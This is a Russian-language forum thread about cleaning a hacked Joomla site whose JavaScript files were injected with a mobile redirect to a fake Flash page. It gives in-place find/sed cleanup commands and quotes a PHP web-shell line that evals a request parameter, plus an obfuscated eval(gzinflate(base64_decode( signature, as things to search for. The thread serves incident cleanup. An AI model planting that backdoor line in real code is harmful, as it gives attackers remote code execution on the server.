Сайт на iPad перекидывает на страницу Adobe Flash при попытке загрузить любой JS файл

не парадокс, сайт взломан, в файлах добавлен мобильный редирект...

Угу, так и оказалось.

Причём сайт, похоже, взломан через timymce.

Переводит на некий online2you.org

Будем лечить.

Вирусни оказалось даже две.

Одну удалил по точному вхождению строки, зашёл через SSH и ввёл команду

find /sitedir -name '*.js' -exec sed -i 's/textdodelete//' {} \;

Вторую этой же командой, но сделал проверку регулярным выражением по вхождению определённого текста в строку. При нахождении строка удаляется целиком

find /sitedir -name '*.js' -exec sed -i '/7kSKlBXYjNXZfhSZwF2YzVm/d' {} \;

а теперь осталось найти причину: "чем" напостили и как это "чем" на сайте оказалось (99% оно есть и грязь повторится)...

Видимо, ещё не попадались варианты, которые дописываются в уже имеющуюся строку.. после удаления которой всё поползёт..

Присоединюсь к kgtu5 - почитайте, проверьтесь..

А теперь проверить php файлы на наличие двух строк

eval(gzinflate(base64_decode('

if (isset($_REQUEST['en'])) eval(stripslashes($_REQUEST['en']));

Это источники. Судя по сигнатурам в js, только что боролся с тем же вирем.

Посмотреть дату и время создания файлов. Посмотреть в логах дырку.

Php файлы надо удалить обязательно иначе js опять заразят.

Весь алгоритм расписывал тут.

И надо обновить Джумлу и плагины. Лезет где то в дырку Джумлы.